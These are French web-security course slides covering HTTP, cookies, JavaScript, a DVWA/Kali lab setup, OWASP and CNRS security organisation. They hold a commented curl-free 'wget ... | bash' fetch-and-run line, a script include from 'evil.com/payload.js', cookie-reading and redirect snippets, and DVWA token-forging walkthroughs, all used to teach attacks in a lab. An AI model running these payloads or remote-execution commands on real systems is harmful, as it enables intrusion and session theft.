Vary: Accept-Encoding
<html>
<head><title>Vous Etes Perdu ?</title></head>
<body>
<h1>Perdu sur l&#x27;Internet ?</h1>
<h2>Pas de panique, on va vous aider</h2>
<strong>* <----- vous êtes ici </strong>
</body>
</html>
```
Note:
- Notez le header server qui donne déjà de l'information utile
- Etag, vary concerne le cache
## les codes HTTP
* __1xx__ Informational
* __2xx__ Successful
* __200__ OK
* __201__ Created
* __204__ No Content
* __3xx__ Redirections
* __301__ Moved Permanently
* __302__ Found
* __304__ Not Modified
Note:
- 201 typique aprè un post
- 204 signifie un body de requête vide
- 301 vs 302 on change d'URI ou pas (definitif temporaire)
- 304 aucun besoin de recharger le contenu body vide
## les codes d'erreur HTTP
* __4xx__ Client Error
* __400__ Bad Request
* __401__ Unauthorized
* __403__ Forbidden
* __404__ Not Found
* __405__ Method Not Allowed
* __406__ Not Acceptable
* __409__ Conflict
* __415__ Unsupported Media Type
* __418__ I’m a teapot
## les codes d'erreur HTTP
* __5xx__ Server Error
* __500__ Internal Server Error
liste complète sur [httpstatus.es](httpstatus.es)
## paramètres HTTP
deux types
* ceux passés via la query string de l'URL
* accessible via __$_GET__ en _PHP_
* ceux passés via le corps de la requête
* accessible via __$_POST__ en _PHP_
* tous les paramètres sont disponibles dans __$_REQUEST__ en _PHP_
## REpresentational State Transfer
![alt text](images/http/richardson.png "Richardson Maturity Model")
## REpresentational State Transfer
Must read:
* [HATEOAS](https://fr.wikipedia.org/wiki/HATEOAS).
* [L’architecture REST expliquée en 5 règles](https://blog.nicolashachet.com/niveaux/confirme/larchitecture-rest-expliquee-en-5-regles/)
* [Architectural Styles and
the Design of Network-based Software Architectures](https://www.ics.uci.edu/%7Efielding/pubs/dissertation/top.htm) by Roy Thomas Fielding 2000
* [Swagger Petstore example](https://petstore.swagger.io/)
Note:
- Level 0 - HTTP comme protocole de transfert uniquement (transport only). Style RPC (SOAP, XML-RPC) on pourrait utiliser autre chose comme protocole
- Level 1 - Structure en Ressources individuelles, notion d'id sur les objet
- Level 2 - le Client utilise les verbes HTTP & les serveur les codes HTTP
- Level 3 - Hypermedia Controls = Content Negotiation + HATEOAS
- Level 3 - Content Negotiation -> sélectionner le format de représentation pour une ressource (json, xml, etc ..) le serveur tente de répondre au mieux autant que faire se peut.
- Level 3 - HATEOAS -> découvarbilité de l'API l'app est vue comme une machine à états
- on est loin du site web au sens CMS, pourautant ces services sont soumis au mêmes vulnérabilités
## Exemple
[https://gist.github.com/nealrs/28dbfe2c74dfdde26a30](https://gist.github.com/nealrs/28dbfe2c74dfdde26a30)
```js
document.addEventListener('DOMContentLoaded', function () {
q = "finger guns";
api_key = "w00t";
api_url = "https://api.giphy.com/v1/gifs/random";
request = new XMLHttpRequest;
request.open('GET', api_url + '?api_key=' + api_key + '&tag='+q, true);
request.onload = function() {
if (request.status >= 200 && request.status < 400){
data = JSON.parse(request.responseText).data.image_url;
html_data = '<img src = "' + data + '" title="GIF via Giphy">';
document.getElementById("giphyme").innerHTML = html_data;
}
};
request.send();
});
```
<div id="giphyme"></div>
[https://developers.giphy.com/docs/](https://developers.giphy.com/docs/)
<pre>
<div id="giphyjson">
</code>
</pre>
## HTTP est "__stateless__"
![alt text](images/http/stateless.jpg "Stateless")
Note:
- Http est amnésique
- chaque requête est traitée comme une requête indépendante sans relation avec les précédentes
## les cookies
* introduits par Netscape en 1994 pour fiabiliser l'implémentation du panier d'achat virtuel
* envoyés sous forme d'en tête HTTP par le serveur
```http
Set-Cookie: name=value[; Max-Age=age][; expires=date]
[; domain=domain_name][; path=some_path][; secure]
[; HttpOnly]
```
* renvoyés inchangés par le client à chaque requête
```http
Cookie: name=value
```
## les cookies
* accessibles via __$_COOKIE__ en _PHP_
* cloisonnés par domaine
* accessibles via les sous domaines
* blocable par l'option _domain_
* êtes vous en [conformité avec la loi?](http://www.cnil.fr/vos-obligations/sites-web-cookies-et-autres-traceurs/que-dit-la-loi/)
Note:
- https://www.owasp.org/index.php/HttpOnly -> pas de manipulation client side ANTI-XSS
- https://www.owasp.org/index.php/SecureFlag -> accessible en https uniquement
- sous domaine, google maps / google play / google.com
## les sessions
* données gérées côté serveur
* transimission de l'ID de session uniquement
```http
Cookie: PHPSESSID=hr0ms75gs6f7vlph0hhct2bjj3
```
* accessibles via __$_SESSION__ en _PHP_
## local storage
* un peu comme les cookies MAIS
* données gérées coté client uniquement
* transmise par js via api ou via le cookie
* 5MB / domaine contre 4096bytes pour le cookie
* supprimable uniquement via js
## tracking cookies
* [<i class="fa fa-newspaper"></i> Cookie de tracking / assiste.com](http://assiste.com/Cookie_de_Tracking.html)
* [<i class="fab fa-github"></i> willdurand-edu/cookie-playground](https://github.com/willdurand-edu/cookie-playground)
* [<i class="fa fa-newspaper"></i> recording mouse movements with javascript](https://incolumitas.com/2020/12/24/recording-mouse-movements-with-javascript/)
* [<i class="fa fa-newspaper"></i> Using HTML5 Local Storage vs Cookies For User Tracking ...](http://johnsteinmetz.net/blog/using-html5-local-storage-vs-cookies-for-user-tracking/)
* [<i class="fab fa-github"></i> samyk/evercookie](https://github.com/samyk/evercookie/)
## header, cookie, body, query string, script ...
![alt text](images/http/illuminati.jpg "Don't trust anyone")<!-- .element: width="35%" -->
echo -e "\033[0;32m ...downloading DVWA app \033[0m"
echo -ne '##### (33%)\r'
sleep 1
echo -ne '############# (66%)\r'
sleep 1
echo -ne '####################### (100%)\r'
echo -ne '\n'
echo -e "\033[0;32m ...configure DVWA app \033[0m"
echo -ne '##### (33%)\r'
sleep 1
echo -ne '############# (66%)\r'
sleep 1
echo -ne '####################### (100%)\r'
echo -ne '\n'
echo -e "\033[0;32m ...collecting your personal data \033[0m"
echo -ne '##### (33%)\r'
sleep 1
echo -ne '############# (66%)\r'
sleep 1
echo -ne '####################### (100%)\r'
echo -ne '\n'
echo -e "\033[0;31m System hacked! Initiating self-destruct sequence... thanks for comming M4Z3->\033[0m"
# https://perso.limos.fr/mazenod/slides/1337/md/install.sh
# https://github.com/digininja/DVWA?tab=readme-ov-file#linux-packages
# openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out MyCertificate.crt -keyout MyKey.key
# wget -O - https://shorturl.at/xE2qF | bash
\ No newline at end of file
# javascript
## aka ECMAScript
## Javascript
* 95 netscape livescript
* interpréteur js propre au navigateur
* ie s'arrête de charger la page en cas d'erreur
* ff ou chrome essaient de continuer l'exécution
* sensible à la casse
* asynchrone
## scope
* `var variable`
* directement dans le script
* accessible partout y compris dans les fonctions
* dans les fonctions
* visibilité restreinte à la fonction
* sans `var` visibilité globale
Note:
- on peut avoir du js dans un pdf (adobe reader a donc un interpréteur js)
- Google a mis le pied sur l'accélérateur avec la sortie de chrome
- ca ve de mieuix en mieux en terme de comatibilité cross browser
## Les événements
* sur chaque élément
* chaque balise
* page
* système d'événement
* orienté interaction utilisateur
## Les événements
* onload
* quand tous les éléments sont chargés
* il est alors possible de modifier les contenus
* onunload
* quand on quitte le navigateur
* abandonner car trop intrusif
## Les événements
* onerror
* en cas d'échec
* chargement d'image ou d'iframe par exemple
* onsubmit
* quand un formulaire est soumis
* changer l'url d'un formulaire à la volée
## Le DOM
[<i class="fa fa-book" aria-hidden="true"></i> document](https://developer.mozilla.org/en-US/docs/Web/API/Document)
* Document Object Model
* document.referer (SEO)
* id unique getElementById
* renvoie un résultat
* getElementsByTagname
* renvoie un tableau d'elements
* la page en cours est le contexte
* history.back() c'est un autre contexte
* frame ...
## Le DOM
* document.cookie
* values = document.cookie.split(';')
* "userid=maze;expires=friday 29 sept"
* souvent utilisé pour exploiter les XSS
* changer le contenu de la page
* rediriger la page
* changer l'url d'un formulaire
## vrac
[<i class="fa fa-book" aria-hidden="true"></i> window](https://developer.mozilla.org/en-US/docs/Web/API/Window) représente l'environement du navigateurs
```js
window.alert('PoC')
// affiche PoC en pop up
```
```js
console.log('plus silencieux')
// affiche "plus silencieux"
// dans la console (F12)
```
```js
alert(document.cookie);
// affiche le contenu du
// cookie de session en pop up
```
```js
window.location = "http://bad.guy";
// redirige vers http://bad.guy
```
Note:
- redirection sur une page identique
- maitrisée par nous qui renvoie au serveur oriignal après avoir récup le login / mot de passe
## inclusion
dans le corps de la page
```js
<script>alert('Poc');</script>
```
dans un fichier externe
```js
<script src="http://evil.com/payload.js"></script>
```
directement dans les événements associés à un élément du DOM
```js
<a onclick="javascipt:alert('clicked');">peacefull link</a>
<img onload="javascript:console.log('quieter');" />
```
## AJAX / XMLHTTPRequest
* associé au web 2.0 (2006)
* existe depuis le début HTTP 1.0 (1989)
* google map éléments de la carte chargés et rafraichis au déplacement
* permet un appel asynchrone d'url
* sans recharger la page
* le résultat reçu est utilisable par js
* json
[<i class="fab fa-github"></i> un gist exemple](https://gist.github.com/nealrs/28dbfe2c74dfdde26a30)
<i class="fa fa-book"></i> Apprendre JS
* https://developer.mozilla.org/fr/docs/Web/JavaScript
* https://www.youtube.com/watch?v=jnbiNr9b_lk
* https://devdocs.io/javascript/
<i class="fa fa-book"></i> Faire du JS en 2023
* https://www.typescriptlang.org/
* https://nodejs.org/
* https://fr.reactjs.org/
* https://vuejs.org/
### <i class="fa-solid fa-bomb"></i> Javascript / Low
* analyse de la requête / formulaire
* champs hidden `token`
* https://beautifier.io
```
token = md5(rot13(phrase))
```
* forcer
```
token = md5(rot13("success"))
```
* via la console / explorer du navigateur (F12)
### <i class="fa-solid fa-bomb"></i> Javascript / Medium
* analyse de la requête / formulaire
* champs hidden `token`
```
"XX" + reverse("ChangeMe") + "XX"
```
* forcer
```
token = "XXsseccusXX"
```
* via la console / explorer du navigateur (F12)
### <i class="fa-solid fa-bomb"></i> Javascript / High
* analyse de la requête / formulaire
* champs hidden `token`
* interception de la requête avec `burpsuite`
* la valeur soumise n'est pas celle du champs original
* le code js est incompréhensible
* <i class="fa-solid fa-screwdriver-wrench"></i> [http://deobfuscatejavascript.com](http://deobfuscatejavascript.com/#)
### <i class="fa-solid fa-bomb"></i> Javascript / High
1.
```js
document
.getElementById("phrase")
.value = "";
```
2.
```js
token_part_1("ABCD", 44);
```
*
```js
do_something(phrase);
```
* inverse la phrase
* mais elle est vide
### <i class="fa-solid fa-bomb"></i> Javascript / High
3. `token_part_2("XX")` est exécutée après 300ms
```js
document
.getElementById("token")
.value = sha256(
"XX"
+ document
.getElementById("phrase")
.value
)
```
* c'est bien la valeur du token pour une phrase vide
### <i class="fa-solid fa-bomb"></i> Javascript / High
4. La soumission du formulaire déclenche `token_part_3("ZZ")`
* le paramètre `t` n'est pas utilisé
* le jeton envoyé dans la requête est
```js
sha256(document.getElementById("token").value + "ZZ")
```
```js
sha256(
sha256("XX" + document.getElementById("phrase").value)
+ "ZZ"
)
```
### <i class="fa-solid fa-bomb"></i> Javascript / High
* considérant qu'en `2` la phrase a été inversée
```js
token = sha256(sha256("XX" + "sseccus") + "ZZ")
//ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84
```
* mais `token_part_3` est toujours appelé à la soumission du formulaire
* il faut forcer token avec
```js
sha256("XX" + "sseccus")
//7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068a
```
et bien mettre la phrase à `success`
\ No newline at end of file
## web sec lab
![web sec lab](images/lab/lab.jpg "web sec lab")
### h4PpY H4Ck1nG
## <i class="fa-solid fa-poo-storm"></i> environnement
* [http://dv.wa](http://dv.wa)
* la vulnérable
* [https://perso.limos.fr/mazenod/slides/1337/exploits](https://perso.limos.fr/mazenod/slides/1337/exploits)
* la malicieuse
* [kali](https://www.kali.org/)
* l'attaquante
## <i class="fa-solid fa-poo-storm"></i> environnement
* [http://proxy](http://proxy)
* la passerelle percée
* [http://debian](http://debian)
* la mututalisée moisie
* [http://debian11](http://debian11)
* la fresh
* [http://thenetwork](http://thenetwork)
* la white box pour l'audit de sécurité (*FISA MAYBE*)
* https://www.digitalocean.com/community/tutorials/how-to-use-sshfs-to-mount-remote-file-systems-over-ssh
## VirtualBox
[![VirtualBox](images/lab/virtualbox.png)](https://www.virtualbox.org/)
## Kali
[![Kali](images/lab/kali.svg)<!-- .element style="width: 50%" -->](https://www.kali.org/)
* [<i class="fa-solid fa-download"></i> get kali](https://www.kali.org/get-kali)
* [<i class="fa fa-video-camera"></i> tongues of kali](https://www.youtube.com/watch?v=dH9wCRQFVR0) <- rien à voir ;)
## Keyboard Mapping
![French keyboard](images/lab/mapping.png)<!-- .element style="width: 70%" -->
## Connexion
![Connexion](images/lab/connexion.png)
* username:password
* kali:kali
## Vim
![vim](images/lab/vim.png)<!-- .element style="width: 40%" -->
#### [<i class="fa-solid fa-gift"></i> survival cheatsheet](https://ryanstutorials.net/linuxtutorial/cheatsheetvi.php)
## Definitive Keyboard Mapping
![Definitve French keyboard](images/lab/keyboard.png)
* `sudo vi /etc/default/keyboard`
* replace `"us"`
* by `"fr"`
## sudo without password
![sudo without password](images/lab/sudo.png)
* `sudo vi /etc/sudoers`
* replace `%sudo ALL=(ALL:ALL) ALL`
* by `%sudo ALL=(ALL) NOPASSWD:ALL`
* see although `/etc/group`
## burp suite
* next / next / accept / ...
* Proxy -> proxy settings
![proxy settings](images/lab/burp.png)<!-- .element style="width: 80%" -->
## toggle FF proxy
install [Proxy Switcher and Manager](https://addons.mozilla.org/fr/firefox/addon/proxy-switcher-and-manager/)
![ff proxy settings / step 1](images/lab/ff-proxy-step-1.png)<!-- .element style="width: 30%" -->
## toggle FF proxy
![ff proxy settings / step 2](images/lab/ff-proxy-step-2.png)<!-- .element style="width: 50%" -->
## toggle FF proxy
![ff proxy settings / step 3](images/lab/ff-proxy-step-3.png)
## toggle FF proxy
![ff proxy settings / step 4](images/lab/ff-proxy-step-4.png)
## toggle FF proxy
![ff proxy settings / step 5](images/lab/ff-proxy-step-5.png)<!-- .element style="width: 80%" -->
## toggle FF proxy
![ff proxy settings / step 6](images/lab/ff-proxy-step-6.png)
## Web developer addons
install [Web developer](https://chrispederick.com/work/web-developer/)
![ff web developer](images/lab/ff-web-developer.png)
## PHP
[![stats par language](images/lab/stats-php.png)](https://w3techs.com/technologies/overview/programming_language)
## DVWA
* [https://github.com/digininja/DVWA](https://github.com/digininja/DVWA)
* htaccess to protect vm
* security cookie
* stocké dans la session
## Debian
[![debian](images/lab/debian.gif)<!-- .element style="width: 30%" -->](https://www.osboxes.org/debian)
## @sh4rpf0rc3
[https://sharpforce.gitbook.io](https://sharpforce.gitbook.io/cybersecurity/mon-blog/a-propos-de-moi)
# <i class="fa-solid fa-thumbs-up"></i>
# 📚 les supports
* [Support de cours](/zz2-f5-securite-logicielle-securite-des-applications-web.html#supports-de-cours)
* 👋 Attention il n'y a que l'essentiel pour les attaques
* 👂 Beaucoup d'infos en cours (parfois demandées à l'exam)
* 🙌 n'hésitez pas à poser des questions
* 😎 peronnalisable pour **votre** confort
# 🎓 l'évaluation
- 📝 [exam écrit d'1h sans support / 10 points](/zz2-f5-securite-logicielle-securite-des-applications-web.html#examen-ecrit-en-fin-de-session-10-points)
- 📢 [présentation de groupe au début de chaque cours / 8 points](/zz2-f5-securite-logicielle-securite-des-applications-web.html#presentation-de-groupe-au-debut-de-chaque-cours-8-points)
- ca commence la **SEMAINE PROCHAINE**
- [calendrier FISE](/zz2-f5-securite-logicielle-securite-des-applications-web.html#calendrier-fise)
- [calendrier FISA](/zz2-f5-securite-logicielle-securite-des-applications-web.html#calendrier-fisa)
- 🔨 [Note technique / 2](/zz2-f5-securite-logicielle-securite-des-applications-web.html#note-technique-2-points)
\ No newline at end of file
## OWASP
* depuis janvier 2001
* fondation Américaine
* [à but non lucratif](http://en.wikipedia.org/wiki/501%28c%29_organization#501.28c.29.283.29)
* en France
* Association loi 1901
* participe au [clusif - Club de la Sécurité de l’Information Français](http://www.clusif.asso.fr/)
* Ludovic Petit & [Sebastien Gioria ](https://twitter.com/spoint)
* [L'OWASP, l'univers, et le reste](https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/)
<br /><br />
<iframe src="https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/video/" width="640" height="380" frameborder="0" allowfullscreen></iframe>
## OWASP - Indépendance
* composé d'experts indépendants
* indépendant des fournisseurs de solution
* indépendant des gouvernements
* Les projets sont opensource
* nombreux adhérents
* entreprises
* institutions
* individus
* [liste des membres](https://docs.google.com/spreadsheets/d/1FQEj2xQb1uTxZMXshPs0suy1Bkb5iYCbHH_vrzHMVa4/edit)
* [join now](http://myowasp.force.com/memberappregion)
* <strike>adhésion gratuite</strike> donation obligatoire 50$ minimum
## OWASP - Projets
!["OWASP Flagship mature project"](images/Flagship_banner.jpg "OWASP Flagship mature project")
!["OWASP Lab medium level project"](images/Lab_banner.jpg "OWASP Lab medium level project")
!["OWASP Low activity project"](images/Low_activity.jpg "OWASP Low activity project")
!["OWASP Incubator new projects"](images/Incubator_banner.jpg "OWASP Incubator new projects")
## OWASP - Quelques projets
* Automated Security Verification
* Vulnerability Scanners
* Statis Analysis Tools
* fuzzing (test de données aléatoires en entrée d'un programmme)
* Manual Security Verification
* Penetration Testing Tools
* Code Review Tools
* Security Architecture
* ESAPI
* Secure coding
* AppSec Libraries
* ESAPI Reference implementation
* Guards and Filters
## OWASP - Quelques projets
* AppSec Management
* Reporting Tools
* AppSec Education
* Flawed Apps (application trouée)
* Learning Environments
* Live CD
* SiteGenerator (generateur de sites avec vulnérabilités)
* Canaux de diffusion
* [wiki](https://www.owasp.org/index.php/Main_Page)
* [Podcast](https://www.owasp.org/index.php/OWASP_Podcast)
* [Conference](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference)
* [Lists](https://lists.owasp.org/mailman/listinfo)
* [Livres](https://www.owasp.org/index.php/Category:OWASP_Books)
* [OWASP github](https://github.com/OWASP)
## Owasp projects architecture
* [OWASP Top Ten project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project)
* [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) -> v4 in progress
* [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)
* [OWASP Code Review Guide](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
* [OWASP Developer Guide](https://www.owasp.org/index.php/OWASP_Guide_Project)
* [OWASP Application Security Desk Reference](https://www.owasp.org/index.php/Category:OWASP_ASDR_Project)
* Projects
* [OWASP Cheat Sheets](https://www.owasp.org/index.php/Cheat_Sheets)
* [OWASP Application Security Verification Standard (ASVS)](http://www.owasp.org/index.php/ASVS)
* [OWASP Top Ten Project](http://www.owasp.org/index.php/Top_10)
* [OWASP Code Review Guide](http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
* [OWASP Testing Guide](http://www.owasp.org/index.php/Testing_Guide)
* [OWASP Legal Project](http://www.owasp.org/index.php/Category:OWASP_Legal_Project)
## S4UC3 PLZ
* [OWASP Where we are.. Where are we going](https://docs.google.com/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.g1fd9ad1e_0_10)
* [[MSTD10] - Une méthode d'évaluation de la sécurité Web - 1/1](http://www.microsoft.com/france/vision/mstechdays10/Webcast.aspx?EID=413f809d-abbc-467d-a930-5e2d7da27fef)
* [Web Application Firewalls (WAF)](http://www.cert-ist.com/documents/Document_Cert-IST_000333.pdf)
* Autres
* [PCI SSC ‐ Payment Card Industry Security Standards Council](https://www.pcisecuritystandards.org)
* [PCI - DSS Data Payment Card Industry Security Standard](https://www.pcisecuritystandards.org/security_standards/documents.php)
* [french version](http://fr.pcisecuritystandards.org/minisite/en/)
* [Web Application Security Consortium Project page](http://projects.webappsec.org)
* [Imperva - Resources](http://www.imperva.com/resources/overview.html)
* [MITRE ‐ Common Weakness Enumeration – Vulnerability](Trends, http://cwe.mitre.org/documents/vuln‐trends.html)
* [CLUSIF](http://www.clusif.asso.fr/)
* [CLUSIF - ouvrages](http://www.clusif.asso.fr/fr/production/ouvrages/)
* [CLUSIR - Rhônes-Alpes](http://www.clusir-rha.fr/)
## Contexte
<div style="text-align: center">
![alt text](/_/gdi/images/contexte.jpg "Contexte") <!-- .element: width="80%" -->
</div>
## Contexte
* Les états ont/vont renforcer la règlementation pour combattre les failles et les attaques [LPM/SAIV/OIV](http://www.defense.gouv.fr/actualites/dossiers/la-loi-de-programmation-militaire-lpm-2014-2019), [PPSIE](http://www.ssi.gouv.fr/fr/menu/actualites/le-premier-ministre-dote-l-etat-de-sa-premiere-politique-globale-de-securite.html), [Les différents plans gouvernementaux](http://www.ssi.gouv.fr/fr/defense-des-si/les-plans-gouvernementaux/), ...
* L’incident n’est plus l’exception mais la règle, il faut
* industrialiser son traitement
* limiter l’impact direct sur l’information, les processus métiers, l’organisme, les personnes
* limiter l’impact indirect sur les équipes en charge du traitement
* se protéger, c’est aussi savoir réagir !
Note:
- Loi contre le terrorisme 2014
- Loi pour le renseignement 2015
- contexte tendu depuis les attentats
- piratage récent Sony / TV5 monde ... Thalès
## Obligation légale <!-- .element: id="legal" -->
* [Règlement européen du 24/06/2013](http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ:L:2013:173:0002:0008:FR:PDF")
* [PSSIE (Article 7) - 17 jullet 2014](http://www.ssi.gouv.fr/IMG/pdf/pssie_anssi.pdf)
* *"Chaque entité contribue à la protection et à la défense des systèmes d'information de L'Etat par la mise en place d'une "chaîne opérationnelle", qui rend compte régulièrement à la chaîne fonctionnelle SSI"*
* [Objectifs de sécurité [ANSSI]- 27 férvier 2014](http://www.ssi.gouv.fr/IMG/pdf/20140310_Objectifs_de_cybersecurite_document_public.pdf)
* 5/ Gérer les incidents de cybersécurité
* [Informatique et liberté (article 34 bis)](http://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFTEXT000000886460#LEGIARTI000024504700)
* Violation des [données à caractère personnel](http://www.cil.cnrs.fr/CIL/spip.php?rubrique299a)
* déclaration à la CNIL et à l’intéressé
* [Arrêté du 3 juillet 2012 ](http://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFTEXT000026140136&dateTexte=) relatif à la PPST
* Article 1 : signalement des incidents majeurs
* [Charte informatique du CNRS (3.2 Règles d’utilisation)](http://www.cil.cnrs.fr/CIL/IMG/pdf/charte_info.pdf)
Note:
- Niveau Francais, Défense, IL pour l'utilisateur, employeur, Européen
- d'où cette formation
## Objectifs
* Maintenir les compétences
* Mettre en place une "bonne pratique" supplémentaire
* Renforcer l’expertise interne existante
* Préparer une formation "investigation"
* Préparer le développement d’un réseau national collaboratif d’experts
* Anticiper le passage à un système de détection – réaction plus efficace
## de la [sécurité nationale](http://fr.wikipedia.org/wiki/S%C3%A9curit%C3%A9_nationale) à la SSI au CNRS
### [La défense en profondeur](http://circulaire.legifrance.gouv.fr/pdf/2009/04/cir_2014.pdf)
* Sébastien Le Prestre de Vauban
<div style="text-align: center;">
<img src="/_/images/fortification-a-la-vauban.jpg" width="50%" />
</div>
* exploiter plusieurs techniques de sécurité afin de réduire le risque lorsqu'un composant particulier de sécurité est compromis ou défaillant
Note:
- circulaire à lire
- un mot sur la défense nationale / défense globale / sécurité nationale
## Stratégie de la défense en profondeur
* n'évite pas l'attaque
* ralentit l'attaquant en lui opposant des difficultés multiples et variées
* **chacun** est un maillon de la sécurité nationale
* **chacun** est donc responsable
* de l'analyse des risques inhérents à son périmètre pour mieux les maîtriser
* de l'anticipation et de la prévention des accidents et des actes de malveillance
* **de l'amélioration continuelle de la sécurisation de son périmètre**
* le risque 0 n'existe pas
* la sécurité peut toujours être améliorée
## la chaîne Sécurité Défense
<div style="text-align: center;">
<img src="/_/ssi/images/ssi/organisation_nationale_sdn.png" width="50%" />
</div>
Note:
- FSD CNRS Philippe Gasnot
- Le haut "socle commun avec les partenaires"
- le bas "niveau établissements"
## la chaîne SSI
<div style="text-align: center;">
<img src="/_/ssi/images/ssi/organisation_nationale.png" width="50%" />
</div>
Note:
- AQSSI Alain Fuchs
## la chaîne sécurité au CNRS
<div style="text-align: center;">
<img src="/_/gdi/images/organisation_securite_cnrs.png" />
</div>
Note:
- RSSI DR7 Gaetan Dardy
- RSSI CNRS M. Parache a démissionné et va être bientôt remplacé…
## La SSI niveau national CNRS
* Un RSSIC nommé par le président et placé, sous l’autorité du DGDR, à la DSI dispose d’une équipe
* Un RSSIC adjoint
* Un RSSI DSI
* Dont les missions principales sont
* L’animation du réseau SSI du CNRS
* La définition et le suivi du plan d’action national SSI qui est présenté devant le Comité de Pilotage de la SSI du CNRS
* La prise en compte des directives SGDSN – Ministère en lien avec les partenaires du domaine ESR
* Qui est également chargé de mission auprès du Fonctionnaire de Sécurité et de Défense (FSD) du CNRS
* pour garantir la conformité des actions SSI avec la protection du potentiel scientifique et technique
Note:
- RSSIC adjoint Francois Morris
- RSSI DSI Jérémie Boutard
## La SSI niveau régional CNRS
* Un RSSI de DR
* nommé, dans chaque délégation régionale après avis du RSSIC
* anime le réseaux des chargés de sécurité des systèmes d’information (CSSI) des unités suivies par sa délégation
* La CRSSI
* Le RSSI DR s’entoure, en accord avec le RSSIC, d’experts SSI appartenant à des unités de recherche, pour former une coordination régionale de la SSI (CRSSI)
## La SSI niveau unité CNRS
* Le DU est responsable de la SSI
* [Le Chargé de sécurité des systèmes d’information (CSSI)](https://aresu.dsi.cnrs.fr/spip.php?article120)
* nommé par le directeur d’unité, après avis du RSSI régional
* assiste son DU dans l’exercice de sa responsabilité en matière de SSI
* assiste son DU pour la mise en œuvre de la PSSI du CNRS dans son unité
* sensibilise les agents à la SSI
* met en œuvre les recommandations SSI transmises par le RSSI du CNRS
* gère les alertes et incidents
Note:
- responsabilité du DU exemple du chiffrement
## Point de contact
* Toute unité doit en avoir un
* Un événement lié à la sécurité de l'information doit être rapporté, enregistré, traité au niveau local
* Si signalé à un niveau supérieur, sera systématiquement répercuté au niveau local
* Au cas où le niveau local serait impliqué, possibilité de signalement au niveau supérieur
* Publié, connu de tous
* Noms des personnes
* Mèl
* Téléphone
* Assistance utilisateurs si elle existe
* Souvent CSSI, ASR
* Peut être mutualisé entre plusieurs unités
* Pas nécessairement un spécialiste de la sécurité
## ISIRT (Information Security Incident Response Team)
<div style="text-align: center;">
<img src="/_/gdi/images/isirt_cnrs.png" />
</div>
## Remontée et veille en sécurité CNRS
<div style="text-align: center;">
<img src="/_/gdi/images/remontee_veille_cnrs.png" />
</div>
## [Espace de travail collaboratif dédié à la SSI](https://extra.core-cloud.net/collaborations/RSSI-CNRS)
* Partagé
* RSSI + Adjoints (partenaires compris)
* CRSSI
* CSSI + Adjoints
* 1 liste d’ASR pour la diffusion des alertes hebdomadaires
* Prévention
* Documentation sur la sensibilisation des utilisateurs
* Enquête (vivante) sur le déploiement du chiffrement
* Politique de sécurité
* PGSSI du CNRS dont la charte SSI du 29/11/2013
* PSSI opérationnelle pour les laboratoires
* Liste des règles classée par chapitre (sensibilité notée 1 à 3 *)
* Un système de déclaration des incidents utilisant un workflow
Note:
- le live CD d'A2IMP
- des fiches techniques liés aux événements d'actualités
- ces supports et ceux des autres DR
\ No newline at end of file